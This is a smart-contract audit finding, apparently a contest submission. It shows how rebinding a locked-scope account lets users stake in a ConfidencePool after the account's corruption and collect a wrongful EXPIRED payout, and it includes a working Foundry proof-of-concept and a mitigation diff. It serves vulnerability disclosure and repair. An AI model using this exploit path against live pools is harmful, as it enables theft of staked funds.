FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Locked-scope account rebinding leaves ConfidencePool on the old agreement, enabling post-corruption staking and a wrong payout

Author Revealed upon completion

Root + Impact

Description

The intended behavior is that a pool's locked account list remains its binding coverage surface after the underlying
agreement is narrowed. The published scope is the audit trail used by the moderator, and corruption of a covered
account must not settle as a successful survival/expiry outcome. This is stated in
docs/DESIGN.md section 8
and the
protocol-readme.md scope-lock guarantee.

ConfidencePool cannot enforce that guarantee. It validates each scoped account against the agreement only when
the scope is set, then every deposit and resolution decision reads the aggregate state of the pool's original
agreement. It never resolves the current registry binding of a locked account.

This creates the following supported lifecycle:

  1. Agreement A contains contracts X and Y. Pool A locks local scope [X] while A is UNDER_ATTACK.

  2. After A's commitment window, A's sponsor removes X. The real dependency unbinds X without changing A's
    independently stored UNDER_ATTACK state on Y.

  3. A different sponsor legitimately binds X to Agreement B. B follows the normal lifecycle and becomes
    CORRUPTED.

  4. Pool A still publishes X as covered, but sees only A's UNDER_ATTACK state. Its moderator is code-blocked
    from flagging CORRUPTED, and an unprivileged user can stake after B/X's corruption is final and public.

  5. At Pool A's expiry, A is still non-terminal, so claimExpired() resolves EXPIRED and pays that user principal
    plus the prefunded bonus. A pre-existing losing staker is paid on the same wrong side.

The relevant in-scope code is:

// stake(): the account bindings in the locked scope are not checked.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
// @> This observes only the original agreement's aggregate state.
_assertDepositsAllowed(_observePoolState());
// ...
}
// flagOutcome(): even the trusted moderator cannot represent X's corruption under B.
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
// ...
// @> state is the original agreement A's state.
if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
}
// claimExpired(): every non-terminal state of A becomes EXPIRED.
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
} else {
// @> A remains UNDER_ATTACK even though locked-scope account X is corrupted under B.
outcome = PoolStates.Outcome.EXPIRED;
}
function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) revert InvalidAgreement();
// @> Always pinned to A; no getAgreementForContract(scopeAccount) lookup exists.
return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}

Source links:

The transition is reachable through the pinned real dependency. Agreement.removeAccounts() permits narrowing
after the commitment window, unregisterContractForExistingAgreement() deletes the account binding without a
terminal-state requirement, and agreement state is derived from per-agreement flags:

Why the documented section 8 residual does not disclose this impact

Section 8 acknowledges that a locked list may still reference an account removed from its original agreement. It
does not say that corruption of that covered account under its new authoritative binding may resolve EXPIRED,
pay the survival side, or allow new positions after the event is public. That result conflicts with the same
section's fixed-coverage promise and its statement that the moderator and published scope determine whether the
breach surface was covered. Here the honest moderator attempts the covered CORRUPTED outcome and is blocked by
the in-scope code. The finding is the wrong deposit and settlement behavior after the acknowledged narrowing, not
the dependency's intended narrowing/rebinding primitives.

Risk

Likelihood: Low

  • The path requires a multi-step but supported lifecycle: A must remain active on another account after its
    commitment expires, X must be removed and rebound to B, B/X must be corrupted, and Pool A must remain live.

  • No malicious trusted role or collusion is required. A and B can have different sponsors performing ordinary
    lifecycle actions. Once the state exists, the profitable stake() and claimExpired() calls are permissionless.

  • The PoC uses deployed scope contracts, distinct funded A/B sponsors, the real fee/bond/DAO approval paths, an
    ordinary ERC20, and the exact target factory and pool bytecode.

Impact: High

  • Funds are directly misdistributed. A user entering after the covered corruption can capture up to the entire
    prefunded bonus; the PoC transfers 150 tokens for a 100-token post-corruption stake.

  • Pre-existing losing positions can receive the affected pool's principal and bonus even though the locked covered
    account was corrupted.

  • The pool records no corruption bounty/reserve, so its good-faith whitehat or bad-faith recovery settlement is
    unreachable for that covered event.

  • Pool size and bonus are not capped by this mechanism, so the direct loss is bounded by the affected pool balance.

High impact with low likelihood maps to Medium under the CodeHawks severity matrix.

Proof of Concept

The test below executes the exact target commit
58e8ba4ce3f3277866e4926f3140e597f9554a1e Solidity 0.8.26 factory/pool bytecode against the real pinned
Safe Harbor dependency commit fde1b2abe9e5c27175f5b6f7324bcce6afc3b059. It does not use vm.store or a
mock registry. The artifact SHA-256 is
5261f40b578fb4ecb20432c1c14ba39746569c04c2079573d5683a08a97808a5.

From the contest repository root, build and copy the two generated target artifacts into the dependency test
fixture directory:

git checkout 58e8ba4ce3f3277866e4926f3140e597f9554a1e
git submodule update --init --recursive
forge build
mkdir -p lib/battlechain-safe-harbor-contracts/test/fixtures
cp out/ConfidencePool.sol/ConfidencePool.json \
lib/battlechain-safe-harbor-contracts/test/fixtures/ConfidencePool.0.8.26.json
cp out/ConfidencePoolFactory.sol/ConfidencePoolFactory.json \
lib/battlechain-safe-harbor-contracts/test/fixtures/ConfidencePoolFactory.0.8.26.json

Add the following as
lib/battlechain-safe-harbor-contracts/test/repro/FScopeSubmissionPoC.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { Agreement } from "src/Agreement.sol";
import { IAttackRegistry } from "src/interface/IAttackRegistry.sol";
import { MockERC20 } from "test/mock/MockERC20.sol";
import { AttackRegistryTest } from "test/unit/AttackRegistryTest.t.sol";
interface ISubmissionPool {
function contributeBonus(uint256 amount) external;
function stake(uint256 amount) external;
function flagOutcome(uint8 outcome, bool goodFaith, address attacker) external;
function claimExpired() external;
function isAccountInScope(address account) external view returns (bool);
function scopeLocked() external view returns (bool);
function outcome() external view returns (uint8);
function bountyEntitlement() external view returns (uint256);
}
interface ISubmissionPoolFactory {
function initialize(
address safeHarborRegistry,
address poolImplementation,
address defaultOutcomeModerator
) external;
function setStakeTokenAllowed(address token, bool allowed) external;
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external returns (address pool);
}
contract SubmissionCoveredAccount { }
contract FScopeSubmissionPoC is AttackRegistryTest {
string internal constant POOL_ARTIFACT = "test/fixtures/ConfidencePool.0.8.26.json";
string internal constant FACTORY_ARTIFACT = "test/fixtures/ConfidencePoolFactory.0.8.26.json";
bytes32 internal constant POOL_CREATION_HASH =
0x2e7d01325037f77fde0aee64e09f6e0efde9d4b3fce8b7d288cadc7c35e954ec;
bytes32 internal constant FACTORY_CREATION_HASH =
0x357742f3a20200651029ae9d47017c37ae4722059a7fce905fc5bf30b54b17af;
uint256 internal constant STAKE = 100e18;
uint256 internal constant BONUS = 50e18;
uint8 internal constant CORRUPTED = 2;
uint8 internal constant EXPIRED = 3;
address internal poolModerator = makeAddr("poolModerator");
address internal recovery = makeAddr("recovery");
address internal agreementOwnerB = makeAddr("agreementOwnerB");
address internal whitehat = makeAddr("whitehat");
address internal alice = makeAddr("alice");
address internal bonusContributor = makeAddr("bonusContributor");
function test_lockedAccountRebindAllowsPostCorruptionStakeAndWrongPayout() external {
vm.warp(1_750_000_000);
address x = address(new SubmissionCoveredAccount());
address y = address(new SubmissionCoveredAccount());
// Use the real locally deployed AgreementFactory in the inherited registry harness.
vm.prank(owner);
safeHarborRegistry.setAgreementFactory(address(agreementFactory));
// Agreement A starts with X and Y and reaches UNDER_ATTACK normally.
address[] memory accountsA = new address[](2);
accountsA[0] = x;
accountsA[1] = y;
Agreement agreementA = _createAgreementWithContracts(agreementOwner, accountsA);
vm.prank(agreementOwner);
attackRegistry.requestUnderAttackForUnverifiedContracts(address(agreementA));
vm.prank(registryModerator);
attackRegistry.approveAttack(address(agreementA));
// Create Pool A through the exact target factory with an ordinary ERC20.
MockERC20 stakeToken = new MockERC20();
uint256 poolExpiry = block.timestamp + 62 days;
ISubmissionPool poolA = _createExactTargetPool(agreementA, stakeToken, poolExpiry, x);
// A bonus contribution observes A's risk state and locks Pool A scope [X].
stakeToken.mint(bonusContributor, BONUS);
vm.startPrank(bonusContributor);
stakeToken.approve(address(poolA), BONUS);
poolA.contributeBonus(BONUS);
vm.stopPrank();
assertTrue(poolA.scopeLocked());
assertTrue(poolA.isAccountInScope(x));
assertEq(attackRegistry.getAgreementForContract(x), address(agreementA));
// After the real commitment window, A removes X. X is unbound but A remains
// UNDER_ATTACK on Y, while Pool A still publishes X in its locked scope.
vm.warp(block.timestamp + 31 days);
string[] memory removed = new string[](1);
removed[0] = _addressToString(x);
vm.prank(agreementOwner);
agreementA.removeAccounts(battleChainCaip2, removed);
assertFalse(agreementA.isContractInScope(x));
assertTrue(poolA.isAccountInScope(x));
assertEq(attackRegistry.getAgreementForContract(x), address(0));
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementA))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
// A distinct sponsor binds X to Agreement B and B/X becomes CORRUPTED normally.
_fundAndApprove(agreementOwnerB, 1_000_000e18);
address[] memory accountsB = new address[](1);
accountsB[0] = x;
Agreement agreementB = _createAgreementWithContracts(agreementOwnerB, accountsB);
vm.prank(agreementOwnerB);
attackRegistry.requestUnderAttackForUnverifiedContracts(address(agreementB));
vm.prank(registryModerator);
attackRegistry.approveAttack(address(agreementB));
vm.prank(agreementOwnerB);
attackRegistry.markCorrupted(address(agreementB));
assertEq(attackRegistry.getAgreementForContract(x), address(agreementB));
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementB))),
uint256(IAttackRegistry.ContractState.CORRUPTED)
);
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementA))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
// Pool A's moderator is blocked because the pool still reads Agreement A.
vm.prank(poolModerator);
vm.expectRevert(bytes4(keccak256("InvalidOutcome()")));
poolA.flagOutcome(CORRUPTED, true, whitehat);
// Unprivileged Alice enters only after X's corruption is public.
stakeToken.mint(alice, STAKE);
vm.startPrank(alice);
stakeToken.approve(address(poolA), STAKE);
poolA.stake(STAKE);
vm.stopPrank();
// A remains UNDER_ATTACK at expiry, so Pool A wrongly resolves EXPIRED and
// transfers Alice's principal plus the entire prefunded bonus.
vm.warp(poolExpiry);
uint256 aliceBefore = stakeToken.balanceOf(alice);
vm.prank(alice);
poolA.claimExpired();
assertEq(poolA.outcome(), EXPIRED);
assertEq(stakeToken.balanceOf(alice) - aliceBefore, STAKE + BONUS);
assertEq(poolA.bountyEntitlement(), 0);
assertEq(stakeToken.balanceOf(address(poolA)), 0);
}
function _createExactTargetPool(
Agreement agreementA,
MockERC20 stakeToken,
uint256 poolExpiry,
address scopeAccount
) internal returns (ISubmissionPool pool) {
bytes memory poolCreation = vm.getCode(POOL_ARTIFACT);
bytes memory factoryCreation = vm.getCode(FACTORY_ARTIFACT);
assertEq(keccak256(poolCreation), POOL_CREATION_HASH);
assertEq(keccak256(factoryCreation), FACTORY_CREATION_HASH);
address poolImplementation = vm.deployCode(POOL_ARTIFACT);
address factoryImplementation = vm.deployCode(FACTORY_ARTIFACT);
ERC1967Proxy proxy = new ERC1967Proxy(
factoryImplementation,
abi.encodeCall(
ISubmissionPoolFactory.initialize,
(address(safeHarborRegistry), poolImplementation, poolModerator)
)
);
ISubmissionPoolFactory targetFactory = ISubmissionPoolFactory(address(proxy));
targetFactory.setStakeTokenAllowed(address(stakeToken), true);
address[] memory poolScope = new address[](1);
poolScope[0] = scopeAccount;
vm.prank(agreementA.owner());
pool = ISubmissionPool(
targetFactory.createPool(
address(agreementA), address(stakeToken), poolExpiry, 1e18, recovery, poolScope
)
);
}
}

Run:

cd lib/battlechain-safe-harbor-contracts
forge test \
--match-path test/repro/FScopeSubmissionPoC.t.sol \
--match-test test_lockedAccountRebindAllowsPostCorruptionStakeAndWrongPayout \
-vvv

Observed result in two isolated runs:

[PASS] test_lockedAccountRebindAllowsPostCorruptionStakeAndWrongPayout()
Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommended Mitigation

Closing deposits on binding divergence is necessary but not sufficient: resolution also needs to represent a
covered account's corruption after rebinding. At minimum, check every locked account's registry binding before
stake() and contributeBonus(), prevent automatic EXPIRED while a binding divergence is unresolved, and let
the trusted moderator flag CORRUPTED when a locked-scope account's current binding is corrupted. For a complete
fix, persist binding/corruption history for the pool term or prevent rebinding while a live pool covers the account;
otherwise a later rebind can erase the current-pointer evidence.

An immediate defense for the demonstrated path is conceptually:

+ error ScopeBindingChangedAwaitingModerator();
+ function _scopeBindingStatus()
+ internal
+ view
+ returns (bool changed, bool currentBindingCorrupted)
+ {
+ IAttackRegistry registry = IAttackRegistry(safeHarborRegistry.getAttackRegistry());
+ for (uint256 i; i < _scopeAccounts.length; ++i) {
+ address current = registry.getAgreementForContract(_scopeAccounts[i]);
+ if (current != agreement) {
+ changed = true;
+ if (current != address(0)
+ && registry.getAgreementState(current) == IAttackRegistry.ContractState.CORRUPTED) {
+ currentBindingCorrupted = true;
+ }
+ }
+ }
+ }
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
+ (bool changed,) = _scopeBindingStatus();
+ if (changed) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
// ...
}
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
- if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
+ (, bool scopedAccountCorrupted) = _scopeBindingStatus();
+ if (state != IAttackRegistry.ContractState.CORRUPTED && !scopedAccountCorrupted) {
+ revert InvalidOutcome();
+ }
}
function claimExpired() external nonReentrant {
// ... before automatic resolution
+ (bool changed,) = _scopeBindingStatus();
+ if (changed) {
+ revert ScopeBindingChangedAwaitingModerator();
+ }
IAttackRegistry.ContractState state = _observePoolState();
// ...
}

Apply the same deposit check to contributeBonus(). The production fix should replace the illustrative aggregate
status helper with stored per-account transition evidence or an upstream binding lock, then add the regression:
A[X,Y] UNDER_ATTACK -> Pool A[X] locks -> A removes X -> B binds and corrupts X -> post-corruption stake reverts and Pool A cannot resolve EXPIRED.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!